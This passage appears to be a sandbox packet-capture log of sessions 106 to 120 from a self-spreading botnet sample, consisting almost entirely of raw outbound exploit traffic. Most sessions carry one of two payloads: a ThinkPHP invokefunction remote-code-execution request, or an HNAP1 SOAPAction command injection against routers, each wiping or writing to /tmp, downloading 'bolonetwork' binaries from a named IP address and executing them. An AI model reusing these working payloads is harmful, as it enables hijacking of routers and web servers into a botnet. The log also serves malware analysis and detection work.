xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	32848	95.2.212.137	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.807132006 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	34728	191.189.55.135	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.810193062 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	48848	31.254.206.145	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.814748049 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	40214	95.191.65.210	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.816437960 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	57354	27.92.33.187	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.818456888 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	54846	91.130.196.71	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.822956085 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	56016	95.60.51.67	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.824229002 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	47596	198.50.246.46	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.826133013 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	57272	153.129.111.29	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.830970049 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	33850	95.87.70.25	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.832257986 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	48566	69.135.152.58	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.834579945 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	35682	79.87.222.247	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.839498997 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	58186	95.36.82.73	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.841150045 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	39450	110.90.71.250	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.843775988 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	36944	162.88.219.206	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.849150896 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

